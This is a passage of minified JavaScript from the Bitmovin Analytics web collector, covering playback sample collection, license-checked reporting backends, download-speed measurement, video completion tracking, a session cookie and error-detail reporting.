this.droppedSampleFrames=0,f({platform:"web",playerStartupTime:0,pageLoadType:r.getPageLoadType(),path:r.sanitizePath(window.location.pathname),language:navigator.language||navigator.userLanguage,userAgent:navigator.userAgent,screenWidth:screen.width,screenHeight:screen.height,isLive:!1,videoDuration:0,size:h.PlayerSize.Window,time:0,videoWindowWidth:0,videoWindowHeight:0,droppedFrames:0,played:0,buffered:0,paused:0,ad:0,seeked:0,videoPlaybackWidth:0,videoPlaybackHeight:0,videoBitrate:0,audioBitrate:0,videoTimeStart:0,videoTimeEnd:0,videoStartupTime:0,duration:0,startupTime:0,analyticsVersion:o.VERSION,pageLoadTime:0,completedTotal:0},this.getPlayerInformationFromAdapter())},n.prototype.sendAnalyticsRequest=function(){this.setPlaybackInfoFromAdapter();this.sample.time=r.getCurrentTimestamp();this.sample.downloadSpeedInfo=this.adapter.downloadSpeedInfo;var n=f({},this.sample);this.backend.sendRequest(n)},n.prototype.sendAnalyticsRequestAndClearValues=function(){this.sendAnalyticsRequest();this.clearValues()},n.prototype.sendUnloadRequest=function(){this.backend.sendUnloadRequest(this.sample)},n.prototype.sendAnalyticsRequestSynchronous=function(){this.backend.sendRequestSynchronous(this.sample)},n.prototype.clearValues=function(){this.sample.ad=0;this.sample.paused=0;this.sample.played=0;this.sample.seeked=0;this.sample.buffered=0;this.sample.playerStartupTime=0;this.sample.videoStartupTime=0;this.sample.startupTime=0;this.sample.castTech=void 0;this.sample.duration=0;this.sample.droppedFrames=0;this.sample.drmLoadTime=void 0;this.sample.videoStartFailed=void 0;this.sample.videoStartFailedReason=void 0;this.sample.completed=void 0;this.adapter.clearValues()},n.prototype.getIsLiveFromConfigOrPlaybackInfo=function(n,t){return null==t?n.isLive||!1:!!r.isBoolean(t)&&t},n.prototype.getMergedCollectorConfig=function(n,t){void 0===t&&(t=this.config);var i=(t||{}).config;return null!=n&&(i=f(f(f({},i),{enabled:!0}),n.config)),i},n.prototype.getMergedAnalyticsConfig=function(n,t){void 0===t&&(t=this.config);var i=this.getMergedCollectorConfig(n,t);return f(f(f({},t),n),{config:i})},n.prototype.buildDefaultAnalyticsConfigValues=function(n){return r.isBoolean(n.isLive)||(n.isLive=!1),n},n.prototype.checkForErrorsInConfig=function(n){null!=n.customUserId&&null!=n.userId&&e.logger.warning("Configuration Warning: \nCustomUserId and UserId are set in the config \nValue of UserId will be used in sample \nPlease only use one configuartion field to set your userId")},n.prototype.getDomainFromConfig=function(n){var t=n.config;if(null!=t&&null!=t.origin)return t.origin},n.prototype.createBackend=function(n){var t=this.getDomain(n);return this.backendFactory.createBackend(n,{key:n.key,domain:t,version:o.VERSION},this.adapter,this.authenticationCallback)},n.prototype.getDomain=function(n){return this.getDomainFromConfig(n)||r.sanitizePath(window.location.hostname)},n.prototype.setCompletionValues=function(){if(this.adapter.videoCompletionTracker){var n=this.adapter.videoCompletionTracker.addWatched({start:this.sample.videoTimeStart,end:this.sample.videoTimeEnd}),t=this.adapter.videoCompletionTracker.getCompletionPercentage();Number.isNaN(n)||Number.isNaN(t)||(this.sample.completed=n,this.sample.completedTotal=t)}},n.prototype.setVideoTimeStart=function(n){this.sample.videoTimeStart=n},n.prototype.setVideoTimeEnd=function(n){this.sample.videoTimeEnd=n},n.prototype.sendQualityChange=function(n,t){this.adapter.qualityChangeService.startResetInterval();this.adapter.qualityChangeService.increaseCounter();this.adapter.qualityChangeService.isQualityChangeEventEnabled()?(this.setDuration(t),this.setState(n),this.sendAnalyticsRequestAndClearValues()):(this.setDuration(t),this.adapter.stateMachineCallbacks.error(f(f({},s.ErrorCode.QUALITY_CHANGE_THRESHOLD_EXCEEDED),{legacyData:void 0,currentTime:void 0,data:{}})))},n.version=o.VERSION,n}();t.Analytics=k;t.createDeviceInformationFromConfig=function(n){var t={};if(u.isValidString(n.deviceType)&&!u.isBlank(n.deviceType)&&(t.model=n.deviceType),u.isValidString(n.deviceClass)&&!u.isBlank(n.deviceClass)&&(t.deviceClass=n.deviceClass),0!==Object.keys(t).length)return t}},4189:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.BackendFactory=void 0;var r=i(5182),u=i(4960),f=i(9334),e=i(7817),o=i(7291),s=i(4441),h=i(8210),c=function(){function n(){}return n.prototype.createBackend=function(n,t,i,r){if(!this.isEnabled(n))return new s.NoOpBackend;var u=this.createInnerBackend(n,t,i,r);return this.decorateWithDebuggingBackend(n,u)},n.prototype.decorateWithDebuggingBackend=function(n,t){return n.debug?new f.DebuggingBackend(n,t):t},n.prototype.decorateWithBackendFromConfigIfAvailable=function(n,t){return void 0!==n&&void 0!==n.config&&void 0!==n.config.wrapBackend?n.config.wrapBackend(t):t},n.prototype.isEnabled=function(n){return void 0===n.config||!1!==n.config.enabled},n.prototype.createInnerBackend=function(n,t,i,f){var l=n.config&&n.config.backendUrl||u.ANALYTICS_BACKEND_BASE_URL,s=new e.LicenseCheckingBackend(t,r.LicenseCall,l,i,f),c;return s=this.decorateWithBackendFromConfigIfAvailable(n,s),c=new h.SequenceNumberBackend(s),new o.LongPlaytimeFilteringBackend(c)},n}();t.BackendFactory=c},9334:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.DebuggingBackend=void 0;var r=i(6767),u=function(){function n(n,t){this.underlying=t;n.debug&&n.debug.fields&&(this.debugFields=n.debug.fields)}return n.prototype.sendRequest=function(n){this.printFields(n);this.underlying.sendRequest(n)},n.prototype.sendUnloadRequest=function(n){this.printFields(n);this.underlying.sendUnloadRequest(n)},n.prototype.sendRequestSynchronous=function(n){this.printFields(n);this.underlying.sendRequestSynchronous(n)},n.prototype.sendAdRequest=function(n){this.underlying.sendAdRequest(n)},n.prototype.printFields=function(n){if(this.debugFields&&this.debugFields.length){var t={};this.debugFields.forEach(function(i){return t[i]=n[i]});r.logger.logTable([t])}},n}();t.DebuggingBackend=u},5032:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.DownloadSpeedMeter=void 0;var r=i(9711),u=i(9730),f=function(){function n(){this.measures=[]}return n.prototype.reset=function(){this.measures=[]},n.prototype.addMeasurement=function(n){if(!(n.httpStatus>=400)){var t=new u.Measure(n),i=r.Converter.bitsToBytes(3e8);t.speed>=i||this.measures.push(t)}},n.prototype.getInfo=function(){return{segmentsDownloadCount:this.measures.length,segmentsDownloadSize:this.measures.map(function(n){return n.size}).reduce(this.add,0),segmentsDownloadTime:Math.ceil(1e3*this.totalTime()),avgDownloadSpeed:this.avgSpeed(),minDownloadSpeed:this.minSpeed(),maxDownloadSpeed:this.maxSpeed(),avgTimeToFirstByte:this.avgTimeToFirstByte()}},n.prototype.add=function(n,t){return n+t},n.prototype.avgSpeed=function(){if(0===this.measures.length)return 0;var n=this.speeds().reduce(function(n,t){return n+t},0),t=this.measures.length;return this.bytePerSecondToBitPerSecond(n/t)},n.prototype.bytePerSecondToBitPerSecond=function(n){return r.Converter.bytesToBits(n)},n.prototype.minSpeed=function(){return 0===this.measures.length?0:this.bytePerSecondToBitPerSecond(Math.min.apply(Math,this.speeds()))},n.prototype.speeds=function(){return this.measures.map(function(n){return n.speed})},n.prototype.maxSpeed=function(){return 0===this.measures.length?0:this.bytePerSecondToBitPerSecond(Math.max.apply(Math,this.speeds()))},n.prototype.totalTime=function(){return 0===this.measures.length?0:this.measures.reduce(function(n,t){return n+t.duration},0)},n.prototype.avgTimeToFirstByte=function(){if(0===this.measures.length)return 0;var n=this.measures.reduce(function(n,t){return n+1e3*t.timeToFirstByte},0)/this.measures.length;return Math.ceil(n)},n}();t.DownloadSpeedMeter=f},3382:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.EventDispatcher=void 0;var i=function(){function n(){this.callbacks=[]}return n.prototype.subscribe=function(n){var t=this;return this.callbacks.push(n),function(){return t.unsubscribe(n)}},n.prototype.dispatch=function(n){this.callbacks.slice(0).forEach(function(t){t(n)})},n.prototype.unsubscribe=function(n){var t=this.callbacks.indexOf(n);t>-1&&this.callbacks.splice(t,1)},Object.defineProperty(n.prototype,"subscriberCount",{get:function(){return this.callbacks.length},enumerable:!1,configurable:!0}),n}();t.EventDispatcher=i},7817:function(n,t,i){"use strict";var f=this&&this.__assign||function(){return f=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},f.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.LicenseCheckingBackend=void 0;var u=i(4449),e=i(6767),o=i(4960),r=i(4441),s=i(5684),h=i(7639),c=function(){function n(n,t,i,u,e){var h=this;this.licenseCall=t;this.backendBaseUrl=i;this.adapter=u;this.authenticationCallback=e;this.licenseKeyReceived=function(n){clearTimeout(h.licenseLazyLoadingTimeoutHandle);h.unsubscribeFromAdapter();h.info.key=n.licenseKey;h.promise=h.wrapLicenseCheckPromiseWithCallback(h.performLicenseCheck(),h.authenticationCallback)};this.licenseCallFailed=function(){clearTimeout(h.licenseLazyLoadingTimeoutHandle);h.unsubscribeFromAdapter();h.backend=new r.NoOpBackend;h.authenticationCallback.authenticationCompleted(!1,void 0)};this.licenseLazyLoadingTimeout=function(){h.unsubscribeFromAdapter();h.backend=new r.NoOpBackend;h.authenticationCallback.authenticationCompleted(!1,void 0)};this.info=f({},n);this.backend=new s.QueueBackend;this.licenseCall=t;void 0!==n.key&&""!==n.key?this.promise=this.wrapLicenseCheckPromiseWithCallback(this.performLicenseCheck(),this.authenticationCallback):!0===u.supportsDeferredLicenseLoading?(u.onLicenseKeyReceived.subscribe(this.licenseKeyReceived),u.onLicenseCallFailed.subscribe(this.licenseCallFailed),this.licenseLazyLoadingTimeoutHandle=window.setTimeout(this.licenseLazyLoadingTimeout,o.ANALYTICS_LICENSECALL_TIMEOUT)):(e.authenticationCompleted(!1,void 0),this.backend=new r.NoOpBackend)}return n.prototype.performLicenseCheck=function(){var n=this,i=this.info,t=i.key,o=i.domain,s=i.version,f;return!t||""===t?(f={status:u.LicensingResult.Denied,message:"No license key provided"},this.backend=new r.NoOpBackend,Promise.resolve(f)):this.licenseCall(t,o,s,this.backendBaseUrl).then(function(i){if(i.status!==u.LicensingResult.Granted)throw new Error(i.message);var r=new h.RemoteBackend(!0,n.backendBaseUrl,t);return n.backend.flushTo(r),n.backend=r,i}).catch(function(t){return"Ignoring Impression due to DNT Header being set"===t.message?e.logger.error("License Check for Bitmovin Analytics failed because of",t):e.logger.errorMessageToUser("License Check for Bitmovin Analytics failed because of",t),n.backend=new r.NoOpBackend,{status:u.LicensingResult.Denied,message:t.message}})},n.prototype.sendRequest=function(n){this.backend.sendRequest(n)},n.prototype.sendUnloadRequest=function(n){this.backend.sendUnloadRequest(n)},n.prototype.sendRequestSynchronous=function(n){this.backend.sendRequestSynchronous(n)},n.prototype.sendAdRequest=function(n){this.backend.sendAdRequest(n)},n.prototype.unsubscribeFromAdapter=function(){this.adapter.onLicenseKeyReceived.unsubscribe(this.licenseKeyReceived);this.adapter.onLicenseCallFailed.unsubscribe(this.licenseCallFailed)},n.prototype.wrapLicenseCheckPromiseWithCallback=function(n,t){return n.then(function(n){return t.authenticationCompleted(n.status===u.LicensingResult.Granted,n.features),n})},n}();t.LicenseCheckingBackend=c},7291:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.LongPlaytimeFilteringBackend=void 0;var i=function(){function n(n){this.backend=n}return n.prototype.sendRequest=function(n){this.isPlayedAboveThreshold(n)||this.backend.sendRequest(n)},n.prototype.sendUnloadRequest=function(n){this.isPlayedAboveThreshold(n)||this.backend.sendUnloadRequest(n)},n.prototype.sendRequestSynchronous=function(n){this.isPlayedAboveThreshold(n)||this.backend.sendRequestSynchronous(n)},n.prototype.sendAdRequest=function(n){this.backend.sendAdRequest(n)},n.prototype.isPlayedAboveThreshold=function(n){return(null==n.played?0:n.played)>=9e4},n}();t.LongPlaytimeFilteringBackend=i},9730:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Measure=void 0;var i=function(){function n(n){this.download=n}return Object.defineProperty(n.prototype,"speed",{get:function(){return this.download.size/this.download.duration},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"duration",{get:function(){return this.download.duration},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"size",{get:function(){return this.download.size},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"timeToFirstByte",{get:function(){return this.download.timeToFirstByte},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"timestamp",{get:function(){return this.download.timestamp},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"httpStatus",{get:function(){return this.download.httpStatus},enumerable:!1,configurable:!0}),n}();t.Measure=i},4441:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.NoOpBackend=void 0;var i=function(){function n(){}return n.prototype.sendRequest=function(){},n.prototype.sendUnloadRequest=function(){},n.prototype.sendRequestSynchronous=function(){},n.prototype.sendAdRequest=function(){},n}();t.NoOpBackend=i},415:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=i(4960),u=i(4960),f=function(){function n(n){void 0===n&&(n=r.ANALYTICS_QUALITY_CHANGE_COUNT_THRESHOLD);this.qualityChangeThreshold=n;this.qualityChangeCount=0;this.previousVideoBitrate=0;this.previousAudioBitrate=0}return n.prototype.resetValues=function(){this.qualityChangeCount=0;this.previousAudioBitrate=0;this.previousVideoBitrate=0;this.stopResetInterval()},n.prototype.isQualityChangeEventEnabled=function(){return this.qualityChangeCount<=this.qualityChangeThreshold},n.prototype.increaseCounter=function(){this.qualityChangeCount++},n.prototype.shouldAllowVideoQualityChange=function(n){return null!=n&&!isNaN(n)&&this.previousVideoBitrate!==n&&this.isQualityChangeEventEnabled()},n.prototype.setVideoBitrate=function(n){this.previousVideoBitrate=n},n.prototype.shouldAllowAudioQualityChange=function(n){return null!=n&&!isNaN(n)&&this.previousAudioBitrate!==n&&this.isQualityChangeEventEnabled()},n.prototype.setAudioBitrate=function(n){this.previousAudioBitrate=n},n.prototype.startResetInterval=function(){var n=this;void 0===this.resetIntervalId&&(this.resetIntervalId=window.setInterval(function(){n.resetCounter()},u.ANALYTICS_QUALITY_CHANGE_COUNT_RESET_INTERVAL))},n.prototype.stopResetInterval=function(){void 0!==this.resetIntervalId&&(window.clearInterval(this.resetIntervalId),delete this.resetIntervalId)},n.prototype.resetCounter=function(){this.qualityChangeCount=0},n}();t.default=f},5684:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.QueueBackend=void 0;var i=function(){function n(){this.queue=[];this.unloadQueue=[];this.syncQueue=[];this.adQueue=[]}return n.prototype.sendRequest=function(n){this.queue.push(n)},n.prototype.sendUnloadRequest=function(n){this.unloadQueue.push(n)},n.prototype.sendRequestSynchronous=function(n){this.syncQueue.push(n)},n.prototype.sendAdRequest=function(n){this.adQueue.push(n)},n.prototype.flushTo=function(n){this.queue.forEach(function(t){n.sendRequest(t)});this.unloadQueue.forEach(function(t){n.sendUnloadRequest(t)});this.syncQueue.forEach(function(t){n.sendRequestSynchronous(t)});this.adQueue.forEach(function(t){n.sendAdRequest(t)})},n}();t.QueueBackend=i},7639:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.RemoteBackend=void 0;var u=i(1632),r=i(1700),f=function(){function n(n,t,i){this.licenseKey=i;this.hasAdModule=n;this.analyticsCall=new u.AnalyticsCall(t)}return n.prototype.sendRequest=function(n){n.key=this.licenseKey;this.analyticsCall.sendRequest(n,r.noOp)},n.prototype.sendUnloadRequest=function(n){n.key=this.licenseKey;this.analyticsCall.sendUnloadRequest(n)},n.prototype.sendRequestSynchronous=function(n){n.key=this.licenseKey;this.analyticsCall.sendRequestSynchronous(n,r.noOp)},n.prototype.sendAdRequest=function(n){n.key=this.licenseKey;this.hasAdModule&&this.analyticsCall.sendAdRequest(n)},n}();t.RemoteBackend=f},9827:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.SegmentTracker=void 0;var i=function(){function n(){this.segments=[]}return n.prototype.reset=function(){this.segments=[]},n.prototype.addSegment=function(n){this.segments.push(n)},n.prototype.removeSegment=function(n){this.segments=this.segments.filter(function(t){return t.url!==n})},n.prototype.getSegments=function(){return this.segments},n}();t.SegmentTracker=i},8210:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.SequenceNumberBackend=void 0;var i=function(){function n(n){this.sequenceNumber=0;this.underlying=n}return n.prototype.sendRequest=function(n){this.updateSampleBeforeSending(n);this.underlying.sendRequest(n)},n.prototype.sendUnloadRequest=function(n){this.updateSampleBeforeSending(n);this.underlying.sendUnloadRequest(n)},n.prototype.sendRequestSynchronous=function(n){this.updateSampleBeforeSending(n);this.underlying.sendRequestSynchronous(n)},n.prototype.sendAdRequest=function(n){this.underlying.sendAdRequest(n)},n.prototype.updateSampleBeforeSending=function(n){n.sequenceNumber=this.sequenceNumber++},n}();t.SequenceNumberBackend=i},2228:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.validateCookieMaxAgeValue=t.validateCookieDomainValue=t.SessionPersistenceHandler=t.COOKIE_DEFAULT_MAX_AGE=t.COOKIE_NAME_BITMOVIN_ANALYTICS_UUID=void 0;var f=i(1700),e=i(1700),r=i(2679),u=i(9941);t.COOKIE_NAME_BITMOVIN_ANALYTICS_UUID="bitmovin_analytics_uuid";t.COOKIE_DEFAULT_MAX_AGE=31536e3;t.SessionPersistenceHandler=function(n){var i=n.config,e;if(!1===(null==i?void 0:i.cookiesEnabled))return r.deleteCookie(t.COOKIE_NAME_BITMOVIN_ANALYTICS_UUID),void(this.userId=f.generateUUID());e=r.getCookie(t.COOKIE_NAME_BITMOVIN_ANALYTICS_UUID);this.userId=u.isBlank(e)?f.generateUUID():e;var s=t.validateCookieDomainValue(null==i?void 0:i.cookiesDomain),o=t.validateCookieMaxAgeValue(null==i?void 0:i.cookiesMaxAge),h=Date.now(),c=new Date(h+1e3*o).toUTCString();r.setCookie(t.COOKIE_NAME_BITMOVIN_ANALYTICS_UUID,this.userId,{domain:s,expires:c,maxAge:o})};t.validateCookieDomainValue=function(n){if(null!=n&&u.isValidString(n)&&!u.isBlank(n))return encodeURIComponent(n)};t.validateCookieMaxAgeValue=function(n){return null==n?t.COOKIE_DEFAULT_MAX_AGE:e.isNumber(n)?n:t.COOKIE_DEFAULT_MAX_AGE}},5939:function(n,t){"use strict";var i,r;Object.defineProperty(t,"__esModule",{value:!0}),function(n){n[n.None=0]="None";n[n.Overlapping=1]="Overlapping";n[n.FirstContainedInSecond=2]="FirstContainedInSecond";n[n.SecondContainedInFirst=3]="SecondContainedInFirst"}(i||(i={}));r=function(){function n(){this.watched=[];this.videoDuration=null}return n.prototype.reset=function(){this.watched=[]},n.prototype.setVideoDuration=function(n){this.videoDuration=1e3*n},n.prototype.addWatched=function(n){if(null==this.videoDuration)throw new Error("no video duration set for completion tracker");this.watched.push(n);var t=this.mergeWatched(this.watched);return(this.getDuration(n)-t)/this.videoDuration},n.prototype.getCompletionPercentage=function(){var r;if(null==this.videoDuration)throw new Error("no video duration set for completion tracker");for(var t=0,n=0,i=this.watched;n<i.length;n++)r=i[n],t+=this.getDuration(r);return t/this.videoDuration},n.prototype.mergeWatched=function(n){for(var u,r,t=0;t<n.length;t++)for(u=n[t],r=t+1;r<n.length;r++){var f=n[r],e=0,o=this.getOverlappingType(u,f);if(o===i.Overlapping?(this.mergeAndReplace(u,t,f,r),e=this.getOverlappingTimespan(u,f)):o===i.FirstContainedInSecond?(this.watched.splice(t,1),e=this.getDuration(u)):o===i.SecondContainedInFirst&&(this.watched.splice(r,1),e=this.getDuration(f)),o!==i.None)return e+this.mergeWatched(this.watched)}return 0},n.prototype.getOverlappingType=function(n,t){return this.isMomentInTimespan(n.end,t)&&n.start<t.start||this.isMomentInTimespan(n.start,t)&&n.end>t.end?i.Overlapping:this.isMomentInTimespan(n.start,t)&&this.isMomentInTimespan(n.end,t)?i.FirstContainedInSecond:this.isMomentInTimespan(t.start,n)&&this.isMomentInTimespan(t.end,n)?i.SecondContainedInFirst:i.None},n.prototype.isMomentInTimespan=function(n,t){return n>=t.start&&n<t.end},n.prototype.mergeAndReplace=function(n,t,i,r){var u=n.end>i.end?n.end:i.end,f={start:n.start<i.start?n.start:i.start,end:u};this.watched.splice(t,1,f);this.watched.splice(r,1)},n.prototype.getOverlappingTimespan=function(n,t){return(n.end<t.end?n.end:t.end)-(n.start>=t.start?n.start:t.start)},n.prototype.getDuration=function(n){return Math.abs(n.end-n.start)},n}();t.default=r},1325:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.CdnProvider=void 0,function(n){n.CLOUDFLARE="cloudflare";n.AKAMAI="akamai";n.FASTLY="fastly";n.MAXCDN="maxcdn";n.CLOUDFRONT="cloudfront";n.CHINACACHE="chinacache";n.BITGRAVITY="bitgravity"}(i||(t.CdnProvider=i={}))},8001:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.CastTech=void 0,function(n){n.AirPlay="AirPlay";n.WebSocket="WebSocket";n.GoogleCast="GoogleCast"}(i||(t.CastTech=i={}))},6443:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.isAudioCodec=t.isVideoCodec=void 0;var i=["avc1","avc3","hvc1","av01","av1","hev1","vp9"],r=["mp4a","ec-3","ac-3","opus","audio/mp4"];t.isVideoCodec=function(n){return!!n&&-1!==i.findIndex(function(t){return n.startsWith(t)})};t.isAudioCodec=function(n){return!!n&&-1!==r.findIndex(function(t){return n.startsWith(t)})}},6087:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.ErrorCode=void 0;var i=function(){function n(n,t){this.code=n;this.message=t}return n.BITMOVIN_PLAYER_LICENSING_ERROR=new n(1103,""),n.SETUP_MISSING_LICENSE_WHITELIST=new n(1105,""),n.QUALITY_CHANGE_THRESHOLD_EXCEEDED=new n(1e4,"ANALYTICS_QUALITY_CHANGE_THRESHOLD_EXCEEDED"),n.BUFFERING_TIMEOUT_REACHED=new n(10001,"ANALYTICS_BUFFERING_TIMEOUT_REACHED"),n.VIDEO_STARTUP_TIMEOUT_REACHED=new n(10002,"ANALYTICS_VIDEOSTART_TIMEOUT_REACHED"),n}();t.ErrorCode=i},4057:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.Event=void 0,function(n){n.SETUP="setup";n.READY="ready";n.SOURCE_LOADED="sourceLoaded";n.PLAY="play";n.PLAYING="playing";n.PAUSE="pause";n.TIMECHANGED="timechanged";n.SEEK="seek";n.SEEKED="seeked";n.START_CAST="startCasting";n.END_CAST="endCasting";n.START_BUFFERING="startBuffering";n.END_BUFFERING="endBuffering";n.AUDIOTRACK_CHANGED="audioTrackChanged";n.AUDIO_CHANGE="audioChange";n.VIDEO_CHANGE="videoChange";n.START_FULLSCREEN="startFullscreen";n.END_FULLSCREEN="endFullscreen";n.START_AD="adStart";n.SUBTITLE_CHANGE="subtitleChange";n.END_AD="adEnd";n.MUTE="mute";n.UN_MUTE="unMute";n.ERROR="playerError";n.SCREEN_RESIZE="resize";n.UNLOAD="unload";n.END="end";n.SOURCE_UNLOADED="sourceUnloaded";n.MANUAL_SOURCE_CHANGE="manualSourceChangeInitiated";n.VIDEOSTART_TIMEOUT="VIDEOSTART_TIMEOUT";n.CUSTOM_DATA_CHANGE="customDataChange";n.PLAYLIST_TRANSITION="playlistTransition"}(i||(t.Event=i={}))},9624:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.getMIMETypeFromFileExtension=t.MIMETypes=void 0;var r=i(9941),u="video/mp4",f="video/webm",e="application/x-mpegURL",o="application/dash+xml";t.MIMETypes={MP4:u,WEBM:f,HLS:e,DASH:o};t.getMIMETypeFromFileExtension=function(n){return n=n.split(/[?#]/)[0].toLowerCase(),r.endsWith(n,".m3u8")?e:r.endsWith(n,".mp4")||r.endsWith(n,".m4v")||r.endsWith(n,".m4a")?u:r.endsWith(n,".webm")?f:r.endsWith(n,".mpd")?o:void 0}},8900:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.PAGE_LOAD_TYPE=void 0,function(n){n[n.FOREGROUND=1]="FOREGROUND";n[n.BACKGROUND=2]="BACKGROUND"}(i||(t.PAGE_LOAD_TYPE=i={}))},6473:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.Player=void 0,function(n){n.BITMOVIN="bitmovin";n.JW="jw";n.RADIANT="radiant";n.VIDEOJS="videojs";n.HLSJS="hlsjs";n.SHAKA="shaka";n.DASHJS="dashjs";n.HTML5="html5";n.CHROMECAST_SHAKA="chromecast-shaka";n.AMAZON_IVS="amazonivs"}(i||(t.Player=i={}))},2108:function(n,t){"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0});t.PlayerSize=void 0,function(n){n.Window="WINDOW";n.Fullscreen="FULLSCREEN"}(i||(t.PlayerSize=i={}))},5001:function(n,t,i){"use strict";var r;Object.defineProperty(t,"__esModule",{value:!0});t.getStreamTypeFromMIMEType=t.StreamTypes=void 0;var f,u=i(9624),e=u.MIMETypes.MP4,o=u.MIMETypes.WEBM,s=u.MIMETypes.HLS,h=u.MIMETypes.DASH,c=((r={})[e]="progressive",r[o]="progressive",r[s]="hls",r[h]="dash",r);!function(n){n.prog="progressive";n.hls="hls";n.dash="dash"}(f||(t.StreamTypes=f={}));t.getStreamTypeFromMIMEType=function(n){return c[n]}},8829:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.VideoStartFailedReason=void 0;var r=i(6087),u=function(){function n(n,t){this.reason=n;this.errorCode=t}return n.PAGE_CLOSED=new n("PAGE_CLOSED",null),n.PLAYER_ERROR=new n("PLAYER_ERROR",null),n.TIMEOUT=new n("TIMEOUT",r.ErrorCode.VIDEO_STARTUP_TIMEOUT_REACHED),n.UNKNOWN=new n("UNKNOWN",null),n}();t.VideoStartFailedReason=u},5086:function(n,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.Feature=void 0;var i=function(){function n(){this._config=void 0;this._isEnabled=!0}return Object.defineProperty(n.prototype,"config",{get:function(){return this._config},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"isEnabled",{get:function(){return this._isEnabled},enumerable:!1,configurable:!0}),n.prototype.disable=function(){this._isEnabled=!1;this.disabled()},n.prototype.configure=function(n,t){return null!=t&&(this._config=this.extractConfig(t)),this.configured(n,this._config),this._config},n}();t.Feature=i},9962:function(n,t,i){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.FeatureManager=void 0;var r=i(6767),u=function(){function n(){this.features=[]}return n.prototype.registerFeatures=function(n){this.features=n},n.prototype.unregisterFeatures=function(){this.features.forEach(function(n){return n.disable()});this.features=[]},n.prototype.resetFeatures=function(){this.features.forEach(function(n){return n.reset()})},n.prototype.configureFeatures=function(n,t){this.features=this.features.filter(function(i){var u=i.configure(n,t);return!(!n||!0!==(null==u?void 0:u.enabled))||(r.logger.log("Disabling feature ".concat(i.constructor.name," as it isn't enabled according to license callback.")),i.disable(),!1)});this.features.forEach(function(n){return n.enabled()})},n}();t.FeatureManager=u},8458:function(n,t,i){"use strict";var r=this&&this.__assign||function(){return r=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},r.apply(this,arguments)},u=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u||Array.prototype.slice.call(t))};Object.defineProperty(t,"__esModule",{value:!0});t.ErrorDetailBackend=void 0;var f=i(6332),e=i(4960),o=i(1700),s=function(){function n(n){var t;this._queue=[];this._enabled=!1;this.backendUrl=o.joinUrls(null!==(t=null==n?void 0:n.backendUrl)&&void 0!==t?t:e.ANALYTICS_BACKEND_BASE_URL,"/analytics/error")}return Object.defineProperty(n.prototype,"queue",{get:function(){return this._queue},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"enabled",{get:function(){return this._enabled},set:function(n){this._enabled=n},enumerable:!1,configurable:!0}),n.copyErrorDetailTruncateStringsAndUrls=function(n,t,i){var u,f,e=this;return r(r({},n),{message:null===(u=n.message)||void 0===u?void 0:u.substr(0,t),data:this.copyErrorDataTruncateStrings(n.data,t),httpRequests:null===(f=n.httpRequests)||void 0===f?void 0:f.map(function(n){return e.copyHttpRequestTruncateUrls(n,i)})})},n.copyHttpRequestTruncateUrls=function(n,t){var i,u;return r(r({},n),{url:null===(i=n.url)||void 0===i?void 0:i.substr(0,t),lastRedirectLocation:null===(u=n.lastRedirectLocation)||void 0===u?void 0:u.substr(0,t)})},n.copyErrorDataTruncateStrings=function(n,t){var i,u;return r(r({},n),{exceptionMessage:null===(i=n.exceptionMessage)||void 0===i?void 0:i.substr(0,t),additionalData:null===(u=n.additionalData)||void 0===u?void 0:u.substr(0,t)})},n.copyErrorDetailTruncateHttpRequests=function(n,t){var i;return r(r({},n),{httpRequests:null===(i=n.httpRequests)||void 0===i?void 0:i.slice(-t)})},n.prototype.limitHttpRequestsOfQueuedErrorDetails=function(t){var i=this;this._queue.forEach(function(r,u){i._queue[u]=n.copyErrorDetailTruncateHttpRequests(r,t)})},n.prototype.send=function(t){var i=n.copyErrorDetailTruncateStringsAndUrls(t,n.MAX_STRING_LENGTH,n.MAX_URL_LENGTH);this.enabled?f.post(this.backendUrl,i,function(){}):this._queue.push(i)},n.prototype.flush=function(){for(var 